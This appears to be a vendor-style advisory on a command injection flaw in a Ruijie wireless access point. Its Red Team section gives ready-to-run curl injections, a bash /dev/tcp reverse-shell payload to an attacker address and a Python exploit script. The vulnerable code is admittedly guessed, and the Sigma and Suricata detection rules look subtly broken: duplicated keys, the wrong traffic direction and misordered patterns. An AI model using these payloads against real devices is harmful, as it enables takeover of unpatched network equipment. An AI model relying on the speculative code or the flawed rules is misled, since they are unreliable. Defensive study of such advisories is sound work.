CVE-2025-56077

Executive Summary

CVE-2025-56077 is a critical OS Command Injection vulnerability discovered in the Ruijie RG-RAP2200(E) wireless access point, specifically in firmware version 247 2200. The flaw resides in the /usr/local/lua/dev_sta/nbr_cwmp.lua script, where the module_set function does not properly sanitize user-supplied input from a crafted POST request. An unauthenticated attacker can exploit this to execute arbitrary operating system commands on the device with root privileges, leading to full device compromise, network pivoting, and potential lateral movement within the enterprise network.

This vulnerability is particularly dangerous because it requires no authentication, no user interaction, and can be triggered remotely over the network. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the lack of a vendor patch makes it a high-priority target for threat actors and red teams.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary embedded device (Ruijie RG-RAP2200(E)). The attack surface is limited to the device's web management interface and its underlying Lua-based CGI scripts.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and full command execution makes this a top-tier vulnerability for both offensive and defensive operations.

Deep Dive & Mechanics

The vulnerability exists in the Lua script /usr/local/lua/dev_sta/nbr_cwmp.lua, which handles CWMP (CPE WAN Management Protocol) requests. The module_set function is designed to accept POST parameters and configure device modules. However, it fails to sanitize or validate the input before passing it to a shell command execution function (likely os.execute() or io.popen()).

Root Cause: The script concatenates user-supplied POST data directly into a command string without escaping or validation. For example, a parameter like module_name might be used in a command such as:

/usr/bin/some_tool --set-module <user_input>

If an attacker sends module_name=;id, the command becomes:

/usr/bin/some_tool --set-module ;id

The shell interprets the semicolon as a command separator and executes id after the intended command.

Attack Flow:

1. Attacker identifies a Ruijie RG-RAP2200(E) device on the network (e.g., via Shodan or internal scanning).
2. Attacker sends a crafted POST request to the vulnerable endpoint:

   POST /cgi-bin/lua/dev_sta/nbr_cwmp.lua HTTP/1.1
   Host: <target_ip>
   Content-Type: application/x-www-form-urlencoded
   
   module_set=1&module_name=;id
   

3. The Lua script processes the request and executes the injected command.
4. Attacker gains a reverse shell or executes arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (simplified Lua snippet):

-- nbr_cwmp.lua (vulnerable)
function module_set()
    local module_name = get_post_param("module_name")
    local cmd = "/usr/bin/some_tool --set-module " .. module_name
    os.execute(cmd)
end

Patched Code (hypothetical fix):

-- nbr_cwmp.lua (patched)
function module_set()
    local module_name = get_post_param("module_name")
    -- Validate input: only allow alphanumeric and underscore
    if not module_name:match("^[%w_]+$") then
        return "Invalid module name"
    end
    local cmd = "/usr/bin/some_tool --set-module " .. module_name
    os.execute(cmd)
end

Key Differences:

• Input validation: The patched version uses a whitelist regex to ensure only safe characters are passed.
• No shell metacharacters allowed: The patched version rejects any input containing ;, |, &, $, backticks, etc.
• Error handling: The patched version returns an error message instead of blindly executing.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: Ruijie RG-RAP2200(E) with firmware 247 2200
• Network access to the device's management interface (typically port 80/443)
• Tools: curl, netcat, Python, Metasploit (optional)

Exploitation Steps:

1. Reconnaissance: Scan for Ruijie devices using Shodan or Nmap:

   nmap -p 80,443 --script http-title <target_ip>
   

2. Verify Vulnerability: Send a benign test to confirm command injection:

   curl -X POST http://<target_ip>/cgi-bin/lua/dev_sta/nbr_cwmp.lua \
     -d "module_set=1&module_name=;echo VULNERABLE"
   

   If the response contains "VULNERABLE", the device is exploitable.

3. Execute Command: Run a simple command to extract system info:

   curl -X POST http://<target_ip>/cgi-bin/lua/dev_sta/nbr_cwmp.lua \
     -d "module_set=1&module_name=;id"
   

4. Reverse Shell: Use a one-liner to get a reverse shell:

   # Attacker listener
   nc -lvnp 4444
   
   # Exploit payload
   curl -X POST http://<target_ip>/cgi-bin/lua/dev_sta/nbr_cwmp.lua \
     -d "module_set=1&module_name=;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"
   

Python Exploit Script:

import requests
import sys

target = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"

url = f"http://{target}/cgi-bin/lua/dev_sta/nbr_cwmp.lua"
data = {
    "module_set": "1",
    "module_name": f";{command}"
}

try:
    r = requests.post(url, data=data, timeout=10)
    print(f"[+] Response:\n{r.text}")
except Exception as e:
    print(f"[-] Error: {e}")

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for POST requests to /cgi-bin/lua/dev_sta/nbr_cwmp.lua containing shell metacharacters (;, |, &, $, backticks).

2. Log Analysis: Check device logs for unusual command execution or failed authentication attempts.

3. Honeypot: Deploy a fake Ruijie device to capture exploitation attempts.

4. Mitigation: If patching is not possible, restrict access to the management interface using firewall rules (allow only trusted IPs) or disable the CWMP service if not required.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/lua/dev_sta/nbr_cwmp.lua with module_set=1 and module_name containing shell metacharacters
• Outbound connections from the device to unknown IPs on high ports (e.g., 4444, 1337)
• Unusual DNS queries from the device

Host IOCs:

• Unexpected processes running on the device (e.g., /bin/bash, /bin/sh)
• Modified or new files in /tmp/ or /var/run/
• Changes to device configuration files (e.g., /etc/config/)
• Presence of reverse shell binaries or scripts

File IOCs:

• /tmp/.revshell (common reverse shell script)
• /var/run/exploit.sh
• Modified /usr/local/lua/dev_sta/nbr_cwmp.lua (if attacker tries to persist)

Detection Engineering

YARA Rule

rule CVE_2025_56077_Ruijie_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-56077 in Ruijie RG-RAP2200(E)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56077"
        hash = "unknown"
    strings:
        $s1 = "module_set=1" ascii wide nocase
        $s2 = "module_name=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "&" ascii wide
        $s6 = "`" ascii wide
        $s7 = "$(" ascii wide
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2025-56077 Ruijie RG-RAP2200(E) Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/lua/dev_sta/nbr_cwmp.lua'
        cs-uri-query|contains: 'module_set=1'
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.56077

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56077 Ruijie RG-RAP2200(E) Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/lua/dev_sta/nbr_cwmp.lua"; http_uri;
    content:"module_set=1"; http_client_body;
    content:"module_name="; http_client_body;
    pcre:"/(;|\||&|`|\$\().*module_name=/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-56077;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Ruijie RG-RAP2200(E) devices on a separate VLAN with strict firewall rules.
2. Disable CWMP service: If not required, disable the CWMP management interface to reduce attack surface.
3. Restrict access: Allow only trusted management IPs to access the device's web interface.

Long-term Fix:

• Vendor patch: Await an official firmware update from Ruijie. Monitor their security advisory page.
• Custom patch: If possible, modify the vulnerable Lua script to include input validation (see patched code above).
• Replace device: Consider replacing the device with a patched or more secure alternative.

Workaround:

• Use a reverse proxy or WAF (Web Application Firewall) to block requests containing shell metacharacters in POST parameters.

Valters IT – DevSecOps & Cyber Threat Intelligence